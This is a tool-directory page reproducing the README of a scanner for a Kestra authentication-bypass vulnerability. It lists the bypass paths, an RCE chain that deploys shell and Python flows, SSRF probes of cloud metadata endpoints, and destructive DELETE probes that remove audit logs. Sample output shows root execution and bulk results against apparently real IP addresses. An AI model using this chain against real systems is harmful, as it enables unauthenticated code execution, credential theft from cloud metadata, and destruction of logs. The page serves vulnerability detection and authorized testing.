Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-49869 — Kestra Auth-Bypass Vulnerability Checker | Kitploit
Tools/GitHubGitHub/ap0dexme0/cve-2026-49869
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingCommand and ControlAuthentication
GitHubap0dexme0/cve-2026-49869

CVE-2026-49869

Kestra Auth-Bypass Vulnerability Checker

View Repository
152 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Kestra CVE-2026-49869 / CVE-2026-53576 Scanner

Scans Kestra instances for the endsWith("/configs") authentication filter bypass. Kestra's AuthenticationFilter.java checks request.getPath().endsWith("/configs") instead of matching the exact path /api/v1/configs. Since Kestra addresses resources via caller-chosen path segments (namespace, flow ID), any path ending in /configs bypasses Basic-Auth enabling unauthenticated flow creation and RCE. (CVSS 10.0)

References:

  • GHSA-5vc5-wxxq-3fjx
  • TP-2026-009
  • CVE-2026-49869 Improper Authentication / OS Command Injection / Incomplete List of Disallowed Inputs
  • CVE-2026-53576

Detection Logic

  1. Liveness + version check GET /api/v1/configs (must return 200; response body parsed for Kestra version)
Download Tool
  • Auth check GET /api/v1/{tenant}/flows (should return 401/403 if auth is enforced)
  • Bypass probes 6 GET requests to paths ending in /configs; if any returns non-401/403 while the auth check enforces, the instance is vulnerable
  • Aggressive mode (--aggressive) also sends PUT requests to confirm write-bypass ability
  • RCE verification (--rce) full chain: create shell/python flow → trigger execution → retrieve logs → confirm code execution → cleanup
  • SSRF detection (--ssrf) creates a flow with Pebble's http() targeting AWS/GCP/Azure cloud metadata and internal endpoints, then checks logs for evidence
  • DELETE probes (--destructive) sends DELETE to flows, dashboards, and logs bypass paths to confirm destructive operation bypass
  • Probe Endpoints

    Safe Probes (default)

    ProbeMethodPathDescription
    Public ConfigsGET/api/v1/configsLiveness check + version extraction
    Protected NormalGET/api/v1/{tenant}/flowsAuth enforcement baseline
    Flows BypassGET/api/v1/{tenant}/flows/{namespace}/configsFlow listing bypass
    Executions BypassGET/api/v1/{tenant}/executions/{namespace}/configsExecution bypass
    KV Store BypassGET/api/v1/{tenant}/namespaces/{namespace}/kv/configsKV read bypass
    Dashboards BypassGET/api/v1/{tenant}/dashboards/configsDashboard bypass
    Logs BypassGET/api/v1/{tenant}/logs/{namespace}/configsLog access bypass
    Templates BypassGET/api/v1/{tenant}/templates/{namespace}/configsTemplate read bypass

    Aggressive Probes (--aggressive)

    ProbeMethodPathDescription
    Flows PUT BypassPUTsame as Flows BypassCreates a minimal debug.Return flow
    KV PUT BypassPUTsame as KV BypassCreates a KV entry {"scanned": true}

    Destructive Probes (--destructive)

    ProbeMethodPathDescription
    Flows DELETE BypassDELETEsame as Flows BypassDeletes a resource named "configs"
    Dashboards DELETE BypassDELETEsame as Dashboards BypassDeletes a dashboard named "configs"
    Logs DELETE BypassDELETEsame as Logs BypassDestroys audit logs

    RCE Verification Chain (--rce)

    Runs only when auth bypass is confirmed. The full chain from the advisory:

    StepMethodPathDescription
    1. Create RCE flowPUT/api/v1/{tenant}/flows/{namespace}/configsDeploys flow with io.kestra.plugin.scripts.shell.Commands (echo <marker>, id, hostname). Falls back to io.kestra.plugin.scripts.python.Script on failure.
    2. Trigger executionPOST/api/v1/{tenant}/executions/{namespace}/configsStarts the flow via the bypass path
    3. Poll logsGET/api/v1/{tenant}/logs/search?executionId=<id>Polls up to --poll-retries times (default 10) every --poll-interval seconds (default 3) looking for the unique RCE marker
    4. CleanupDELETEsame as step 1Removes the deployed flow

    SSRF Detection Chain (--ssrf)

    Runs only when auth bypass is confirmed:

    StepMethodPathDescription
    1. Create SSRF flowPUT/api/v1/{tenant}/flows/{namespace}/configsDeploys a debug.Return task with Pebble http() calls to AWS (169.254.169.254/latest/meta-data/ami-id), GCP (metadata.google.internal), Azure (169.254.169.254/metadata/instance), and internal (127.0.0.1:8080/api/v1/configs)
    2. Trigger executionPOSTsame as RCE step 2Triggers the flow
    3. Poll logsGET/api/v1/{tenant}/logs/search?executionId=<id>Checks for cloud metadata indicators (ami-, i-, 169.254.169.254, metadata.google.internal, etc.)
    4. CleanupDELETEsame as step 1Removes the deployed flow

    CLI Reference

    root@kitploit:~
    positional:
      target                          Single target URL (e.g. http://localhost:8080)
    
    options:
      -f, --file                      File with targets (one per line)
      -t, --timeout                   Request timeout in seconds (default: 10)
      --verify-ssl                    Verify TLS certificates
      -j, --json                      Output JSON to stdout
      -o, --output                    Write JSON report to file
      --tenant                        Tenant name (default: "main")
      --namespace                     Namespace for bypass paths (default: "tutorial")
      -w, --workers                   Thread count for bulk scans (default: 10)
      -a, --aggressive                Send PUT requests to confirm write bypass
      -P, --auto-ports                Ports for auto-expand (default: 8080 8081 8088 8091 80 443)
    
    advanced probes:
      -r, --rce                       Enable RCE verification chain (shell + python flow,
                                       execution trigger, log retrieval, auto-cleanup)
      -s, --ssrf                      Enable SSRF detection (Pebble http() to cloud metadata
                                       endpoints, log-based evidence collection)
      -d, --destructive               Enable DELETE probes on flows, dashboards, and logs
                                       (WILL delete resources on vulnerable instances)
      --poll-interval                 Seconds between log polls for RCE/SSRF chains (default: 3)
      --poll-retries                  Max log poll attempts for RCE/SSRF chains (default: 10)
    

    Output

    Single Target

    Full per-probe breakdown with enrichment (version, RCE, SSRF, DELETE status) and verdict:

    root@kitploit:~
    ====================================================================
      Target:    http://10.0.0.1:8080
      Timestamp: 2026-06-30T12:00:00+00:00
    ====================================================================
    
      Version:      1.3.20 (AFFECTED)
      RCE:          CONFIRMED via shell
        | SCAN_RCE_a1b2c3d4e5f6
        | uid=0(root) gid=0(root) groups=0(root)
      SSRF:         DETECTED
        | Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
      DELETE BYPASS: CONFIRMED destructive ops bypass auth
    
      [Flows Bypass]
        URL:         http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
        Status:       200
        Bypass:      YES
    
      [Exec Bypass]
        URL:         http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
        Status:       404
        Bypass:      No
    
      ...
    
      ── RCE Verification Chain ──
        Flow Create: 201
        Exec Trigger: 201
        Log Evidence: 200
          > SCAN_RCE_a1b2c3d4e5f6
          > uid=0(root) gid=0(root) groups=0(root)
        Flow Cleanup: 204
    
      ── SSRF Detection Chain ──
        Flow Create: 201
        Exec Trigger: 201
        Evidence: 200
          Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
        Flow Cleanup: 204
    
      [VULN]  Verdict: VULNERABLE ...
    ====================================================================
    

    Bulk Summary

    Sorted columnar table with RCE/SSRF/DEL flag columns:

    root@kitploit:~
    ========================================================================================================================================
      BULK SCAN SUMMARY   GHSA-5vc5-wxxq-3fjx  |  CVE-2026-49869 / CVE-2026-53576
    ========================================================================================================================================
      #    Target                          Auth   Flows  Exec   KV     Dash   Logs   Tmpl   RCE    SSRF   DEL    Ver
      ---------------------------------------------------------------------------------------------------------------------------------------
      1    http://173.249.1.26:8080        401    404    ERR    ERR    ERR    405    404    YES    YES    YES    RCE!
      2    http://207.180.207.199:8080     401    404    ERR    ERR    ERR    405    404    INC    -      YES    VULN
      ...
      30   http://103.115.65.228:8080      401    401    ERR    401    ERR    401    401    -      -      -      SAFE
      ...
    ========================================================================================================================================
      Total: 258  |  Vulnerable: 5  |  RCE Confirmed: 1  |  SSRF Detected: 1  |  DEL Bypass: 2  |  Safe: 29  |  Inconclusive: 224
    ========================================================================================================================================
    

    Exit codes: 0 = no vulns, 1 = vuln found, 2 = all inconclusive.

    JSON Report

    When using -j or -o, the output includes enrichment fields per target:

    root@kitploit:~
    {
      "scan_info": {
        "scanner": "kestra_cve v2.0.0",
        "cve": ["CVE-2026-49869", "CVE-2026-53576"],
        "aggressive": true,
        "rce": true,
        "ssrf": true,
        "destructive": true
      },
      "results": [
        {
          "target": "http://10.0.0.1:8080",
          "vulnerable": true,
          "version": "1.3.20",
          "version_in_affected_range": true,
          "rce_confirmed": true,
          "rce_method": "shell",
          "rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
          "ssrf_detected": true,
          "ssrf_evidence": "Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080",
          "delete_bypass": true,
          "probes": { "..." : "..." }
        }
      ],
      "summary": {
        "total": 258,
        "vulnerable": 5,
        "rce_confirmed": 1,
        "ssrf_detected": 1,
        "delete_bypass": 2,
        "safe": 29,
        "inconclusive": 224
      }
    }
    

    Version Detection

    The scanner automatically extracts the Kestra version from the GET /api/v1/configs response and classifies it:

    VersionClassification
    <= 1.0.44AFFECTED (1.0 branch, before patch)
    >= 1.0.45Patched (1.0 branch)
    1.3.0 1.3.20AFFECTED (1.3 branch, before patch)
    >= 1.3.21Patched (1.3 branch)
    >= 1.4.0Patched (newer than affected range)
    UnknownVersion not found in response

    This uses branch-aware comparison since Kestra maintains separate patch branches (1.0.x and 1.3.x).

    v1.0.0

    • Initial release with safe GET probes, aggressive PUT probes, bulk scanning, and JSON output

    Installation

    Requires Python 3.10+.

    root@kitploit:~
    pip install -r requirements.txt
    python main.py --help
    

    Disclaimer

    For authorized defensive testing only. The --rce and --destructive flags create and execute real resources on the target. Always obtain proper written authorization before scanning systems you do not own.